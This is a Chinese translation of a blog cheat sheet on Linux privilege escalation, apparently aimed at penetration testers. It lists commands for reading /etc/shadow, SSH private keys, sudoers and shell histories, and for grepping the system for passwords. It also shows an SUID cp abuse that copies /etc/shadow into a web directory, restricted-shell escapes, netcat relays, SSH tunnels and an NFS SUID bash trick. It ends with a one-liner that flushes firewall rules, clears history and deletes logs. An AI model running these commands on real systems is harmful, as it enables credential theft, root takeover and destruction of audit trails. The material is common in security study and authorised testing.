Linux提权命令总结

  • Linux提权命令总结已关闭评论
  • 22 views
  • A+

=== 操作系统 ===

发行类型、发行版本

```
cat /etc/issue

cat /etc/*-release

cat /etc/lsb-release

cat /etc/redhat-release

uname -n   //hostname主机名

hostname //同上
```

内核版本,是否64位

```
cat /proc/version

uname -a

uname -r  //内核版本

uname -mrs

rpm -q kernel

dmesg | grep Linux

ls /boot | grep vmlinuz-

cat /proc/cpuinfo   //CPU信息
```

=== 从环境变量中获取信息 ===

```
cat /etc/profile

cat /etc/bashrc

cat ~/.bash_profile

cat ~/.bashrc

cat ~/.bash_logout

env

set
```

=== 是否有打印机 ===

lpstat -a

=== 用户&群组 ===

```
cat /etc/passwd

cat /etc/group   //列出系统上所有群组

cat /etc/shadow  //显示用户哈希——特权指令

grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' 列举所有超级用户账户

finger   //当前登录的用户

pinky   //同上

users  //同上

who -a //同上

w   //当前谁在登录并且他在做什么

last   //上次登录的用户列表

lastlog   //有关所有用户上次登录时间的信息

lastlog --user root //有关指定用户上次登录时间的信息
```

=== 用户&权限信息 ===

```
whoami

id

cat /etc/sudoers  //谁被允许以root用户身份执行操作——特权指令

sudo -l  //当前用户可以以root身份执行的所有操作

cat /etc/passwd | cut -d:    #用户列表

grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   #超级用户列表

awk -F: '($3 == "0") {print}' /etc/passwd   #超级用户列表

cat /etc/sudoers
```

用户正在做什么?是否有纯文本格式的密码?他们正在编辑什么?

```
cat ~/.bash_history

cat ~/.nano_history

cat ~/.atftp_history

cat ~/.mysql_history

cat ~/.php_history
```

可以找到什么用户信息

```
cat ~/.bashrc

cat ~/.profile

cat /var/mail/root

cat /var/spool/mail/root
```

root正在运行哪些服务?在这些服务中,哪些值得仔细检查?

```
ps aux | grep root

ps -ef | grep root
```

安装了哪些应用程序?它们的版本是什么?它们当前是否在运行?

```
ls -alh /usr/bin/

ls -alh /sbin/

dpkg -l

rpm -qa

ls -alh /var/cache/apt/archivesO

ls -alh /var/cache/yum/
```

=== 环境信息 ===

```
env  //显示环境变量

set  //同上

echo $PATH  //路径信息

history //显示当前用户的命令历史记录

cat /etc/profile //显示默认系统变量
```

=== 是否有任何服务配置错误?是否附有(漏洞)插件? ===

```
cat /etc/syslog.conf

cat /etc/chttp.conf

cat /etc/lighttpd.conf

cat /etc/cups/cupsd.conf

cat /etc/inetd.conf

cat /etc/apache2/apache2.conf

cat /etc/my.conf

cat /etc/httpd/conf/httpd.conf

cat /opt/lampp/etc/httpd.conf

ls -aRl /etc/ | awk '$1 ~ /^.r./

ps aux | grep root  // 查看以root身份运行的服务

cat /etc/inetd.conf  //由inetd管理的服务列表

cat /etc/xinetd.conf //由xinetd管理的服务列表
```

=== 已安装程序 ===

```
dpkg -l 已安装的软件包 (Debian)

rpm -qa 已安装的软件包 (Red Hat)

sudo -V sudo版本——是否存在漏洞利用

httpd -v Apache版本

apache2 -v 同上

apache2ctl (or apachectl) -M 列出已加载的Apache模块

mysql --version 已下载的MYSQL版本细节

perl -v 已下载的Perl版本细节

java -version 已下载的Java版本细节

python --version 已下载的Python版本细节

ruby -v 已下载的Ruby版本细节

find / -name %program_name% 2>/dev/null (即nc, netcat, wget, nmap等) 找到可用的程序 (netcat, wget等)

which %program_name% 同上
```

=== SSH信息 ===

```
查找私钥信息

cat ~/.ssh/authorized_keys

cat ~/.ssh/identity.pub

cat ~/.ssh/identity

cat ~/.ssh/id_rsa.pub

cat ~/.ssh/id_rsa

cat ~/.ssh/id_dsa.pub

cat ~/.ssh/id_dsa

cat /etc/ssh/ssh_config

cat /etc/ssh/sshd_config

cat /etc/ssh/ssh_host_dsa_key.pub

cat /etc/ssh/ssh_host_dsa_key

cat /etc/ssh/ssh_host_rsa_key.pub

cat /etc/ssh/ssh_host_rsa_key

cat /etc/ssh/ssh_host_key.pub

cat /etc/ssh/ssh_host_key
```

=== 任务/进程 ===

```
crontab -l -u %username% //显示指定用户的计划任务——特权指令

ls -la /etc/cron* //计划任务概述(每小时,每天,每月等等)

ls -aRl /etc/cron | awk '$1 ~ /w.$/' 2>/dev/null //其他人可以在/etc/cron目录下写什么

ls -alh /var/spool/cron

ls -al /etc/ | grep cron

cat /etc/cron*

cat /etc/at.allow

cat /etc/at.deny

cat /etc/cron.allow

cat /etc/cron.deny

cat /etc/crontab

ls -alh  /etc/cron.daily

ls -alh  /etc/cron.weekly

ls -alh  /etc/cron.monthly

cat /etc/anacrontab

cat /var/spool/cron/crontabs/root
```

=== 有趣的文件 ===

```
find /home –name .rhosts -print 2>/dev/null //查找rhost配置文件

ls -ahlR /root/     //查看您是否可以访问其他用户目录以找到有趣的文件——特权指令

cat ~/.bash_history //显示当前用户的命令历史记录

ls -la ~/._history //显示当前用户的各种历史记录文件

ls -la ~/.ssh/ Check //当前用户目录中有趣的ssh文件

ls -la /usr/sbin/in.* //检查inetd服务的配置

find /var/log -type f -exec ls -la {} ; 2>/dev/null //列出指定目录中的文件(/var/log)

find /var/log -name *.log -type f -exec ls -la {} ; 2>/dev/null 列出指定目录中的.log文件(/var/log)

find /etc/ -maxdepth 1 -name .conf -type f -exec ls -la {} ; 2>/dev/null 列出/etc中的.conf文件(递归1级)

ls -la /etc/.conf 同上

lsof -i -n  //列出打开的文件(输出将取决于帐户权限)

lsof -u root  //以root身份列出所有打开的文件和进程
```

可以在/etc/中写入哪些配置文件?是否能够重新配置服务?

```
ls -aRl /etc/ | awk '$1 ~ /^.w./' 2>/dev/null     #任何人

ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null        #所有者

ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null    #所在群组

ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null          #其他人

find /etc/ -readable -type f 2>/dev/null                         #任何人

find /etc/ -readable -type f -maxdepth 1 2>/dev/null   #任何人
```

可以在哪里写入和执行?一些“常见”位置:/tmp,/var/tmp,/dev/shm

```
find / -writable -type d 2>/dev/null        #全局可写文件夹

find / -perm -222 -type d 2>/dev/null      #全局可写文件夹

find / -perm -o+w -type d 2>/dev/null    #全局可写文件夹

find / -perm -o+x -type d 2>/dev/null    #全局可执行文件夹

find / ( -perm -o+w -perm -o+x ) -type d 2>/dev/null   # 全局可写可执行文件夹
```

可以找到哪些敏感文件

```
cat /etc/passwd

cat /etc/group

cat /etc/shadow

ls -alh /var/mail/
```

如果可以访问,home目录有什么“有趣”的地方吗?

```
ls -ahlR /root/

ls -ahlR /home/
```

在/var/能找到什么?

```
ls -alh /var/log

ls -alh /var/mail

ls -alh /var/spool

ls -alh /var/spool/lpd

ls -alh /var/lib/pgsql

ls -alh /var/lib/mysql

cat /var/lib/dhcp3/dhclient.leases
```

网站上是否有任何设置/文件(隐藏)?有包含数据库信息的设置文件吗?

```
ls -alhR /var/www/

ls -alhR /srv/www/htdocs/

ls -alhR /usr/local/www/apache22/data/

ls -alhR /opt/lampp/htdocs/

ls -alhR /var/www/html/
```

日志文件中是否有某些内容(可以帮助“本地文件包含”!)

```
cat /etc/httpd/logs/access_log

cat /etc/httpd/logs/access.log

cat /etc/httpd/logs/error_log

cat /etc/httpd/logs/error.log

cat /var/log/apache2/access_log

cat /var/log/apache2/access.log

cat /var/log/apache2/error_log

cat /var/log/apache2/error.log

cat /var/log/apache/access_log

cat /var/log/apache/access.log

cat /var/log/auth.log

cat /var/log/chttp.log

cat /var/log/cups/error_log

cat /var/log/dpkg.log

cat /var/log/faillog

cat /var/log/httpd/access_log

cat /var/log/httpd/access.log

cat /var/log/httpd/error_log

cat /var/log/httpd/error.log

cat /var/log/lastlog

cat /var/log/lighttpd/access.log

cat /var/log/lighttpd/error.log

cat /var/log/lighttpd/lighttpd.access.log

cat /var/log/lighttpd/lighttpd.error.log

cat /var/log/messages

cat /var/log/secure

cat /var/log/syslog

cat /var/log/wtmp

cat /var/log/xferlog

cat /var/log/yum.log

cat /var/run/utmp

cat /var/webmin/miniserv.log

cat /var/www/logs/access_log

cat /var/www/logs/access.log

ls -alh /var/lib/dhcp3/

ls -alh /var/log/postgresql/

ls -alh /var/log/proftpd/

ls -alh /var/log/samba/

//auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp
```

搜索文件中的特定字符串

```
file ./somefile   //文件信息

strings ./*.txt | grep password

find / -name “*.log” |xargs grep -i pass

grep -l -i pass /var/log/*.log 2>/dev/null

find / -maxdepth 10 -name .conf -type f | grep -Hn pass; 2>/dev/null //搜索字符串'password'并且输出行号
find / -maxdepth 10 -name
etc -type f | grep -Hn pass; 2>/dev/null  //同上,但是用在etc*上

grep -l -i pass /var/log/*.log 2>/dev/null //检查日志文件中是否有关键字(在此示例中为“pass”)并显示肯定的匹配项

find / -maxdepth 4 -name *.conf -type f -exec grep -Hn password {} ; 2>/dev/null 查找.conf文件(递归4级)并输出password一词所在的行号

grep -i user [filename]

grep -i pass [filename]

grep -C 5 "password" [filename]

find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" 

hexeditor ./file

objdump -D -M intel ./file

objdump -D -M x86-64 ./file >> dump64.file

cat /var/apache2/config.inc

cat /var/lib/mysql/mysql/user.MYD

cat /root/anaconda-ks.cfg

find / -name "network-secret.txt"

locate "network-secret.txt"
```

=== 权限 ===

使用了哪些“高级Linux文件权限”?Sticky位,SUID和GUID

```
find / -perm -u=s -type f 2>/dev/null     #查找设置了Sticky位的文件

find / -perm -1000 -type d 2>/dev/null    #使用Sticky位查找目录-仅目录所有者或文件所有者可以在此处删除或重命名

find / -perm -g=s -type f 2>/dev/null    #SGID(chmod 2000)-作为组运行,而不是启动它的用户。

find / -perm -u=s -type f 2>/dev/null    #SUID(chmod 4000)-以所有者而不是启动它的用户身份运行。

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    #SGID或SUID

for i in locate -r "bin$"; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done    #在“常见”位置中查找:/bin,/sbin,/usr/bin,/usr/sbin,/usr/local/bin,/usr/local/sbin和任何其他*bin,以查找SGID或SUID(更快的搜索方式)

//查找以根(/),SGID或SUID开头,而不是符号链接,深度仅3个文件夹,列出更多详细信息并隐藏任何错误(例如,权限被拒绝)

find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
```

在哪里可以写入和执行?一些“常见”位置:/tmp,/var/tmp,/dev/shm

```
例:
//我们在上面的列表中找到了cp(copy),现在我们正在利用它:
cp -f --no-preserve=all /etc/shadow /var/www/html/joomla/shadow.txt

要记住的几件事:
//(1)在目标位置,文件所有者将是根用户,但该组将是当前用户的用户,并且
//(2)注意使用“ --no-preserve”来读出受保护的文件。
//我们可以通过很多方式来滥用它,使用新帐户更新shadow文件,修改sudoers,使用ssh key +修改sshd_config ## +reboot,或cron.hourly。
```

=== 文件系统 ===

df -ah   //所有文件系统信息,包括伪,重复,不可用文件系统

是否有任何卸载的文件系统?

cat /etc/fstab

=== 网络、路由&通信 ===

```
/sbin/ifconfig -a //列出所有网络接口

cat /etc/network/interfaces //同上

cat /etc/sysconfig/network

arp -a //显示arp通信

route //显示路由信息

cat /etc/resolv.conf //显示配置的DNS服务器地址

netstat -antp //列出所有TCP套接字和相关的PID(-p 特权指令)

netstat -anup //列出所有UDP套接字和相关的PID(-p 特权指令)tee

iptables -L //列出规则——特权指令

cat /etc/services //查看端口号/服务映射
```

=== 网络配置设置是什么?您可以找到关于该网络的哪些信息?DHCP服务器?DNS服务器?网关? ===

```
cat /etc/resolv.conf

cat /etc/sysconfig/network

cat /etc/networks

iptables -L

hostname

dnsdomainname
```

=== 常见Shell转义序列 ===

```
//如果命令受到限制,您会跳出“jail”shell吗?
python -c 'import pty;pty.spawn("/bin/bash")'

echo os.system('/bin/bash')

/bin/sh -i

:!bash vi, vim

:set shell=/bin/bash:shell vi, vim

!bash man, more, less

find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ; find

awk 'BEGIN {system("/bin/bash")}' awk

--interactive nmap

perl -e 'exec "/bin/bash";' Perl
```

=== 还有哪些其他用户和主机正在与系统通信? ===

```
lsof -i

lsof -i :80

grep 80 /etc/services

netstat -antup

netstat -antpx

netstat -tulpn

chkconfig --list

chkconfig --list | grep 3:on
```

=== 缓存了什么?IP和/或MAC地址 ===

```
arp -e

route

/sbin/route -nee
```

=== 数据包嗅探是可能的吗?可以看到什么?监听实时流量 ===

```
//tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]

tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21

tcpdump -n dst host 192.168.1.5 -vvv -n -w file.cap
```

=== 是否可以进行端口转发?从另一个视图重定向流量并与之交互 ===

```

rinetd

http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch

fpipe

FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]

FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

//ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]

ssh -L 8080:127.0.0.1:80 [email protected]    #本地端口

ssh -R 8080:127.0.0.1:80 [email protected]    #远程端口

//mknod backpipe p ; nc -l -p [remote port] < backpipe  | nc [local IP] [local port] >backpipe

mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe    #端口中继

mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe    #代理 (端口从80到8080)

mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe    #代理监控(端口从80到8080)
```

可以用隧道技术吗?在本地远程发送命令

```
ssh -D 127.0.0.1:9050 -N [username]@[ip]

proxychains ifconfig
```

将bash复制到新的subshel​​l

```
从远程服务器安装NFS共享,将bash从本地复制到远程并执行

cp -p ./bash /mnt/share/newbash

./newbash -p
```

=== 准备和查找漏洞利用代码 ===

安装/支持哪些开发工具/语言

```
find / -name perl*

find / -name python*

find / -name gcc*

find / -name cc
```

如何上传文件?

```
find / -name wget

find / -name nc*

find / -name netcat*

find / -name tftp*

find / -name ftp
```

使用SSH复制文件

```
scp [email protected]:/path/to/file /path/to/destination   //在登录到A时

scp /path/to/file [email protected]:/path/to/destination  //在登录到B时
```

用gcc编译C

gcc ./ajaira_exploit.c -o exploit

清除历史记录,iptables和日志

iptables -F; history -c; find ./ -name “*.log” |xargs rm -f

后缀版本

postconf -d | grep mail_vers

==本文译自:https://blog.theshahzada.com/2021/01/linux-privilege-escalation.html
原作者:TheShahzada
致敬所有对本文创作有贡献的人==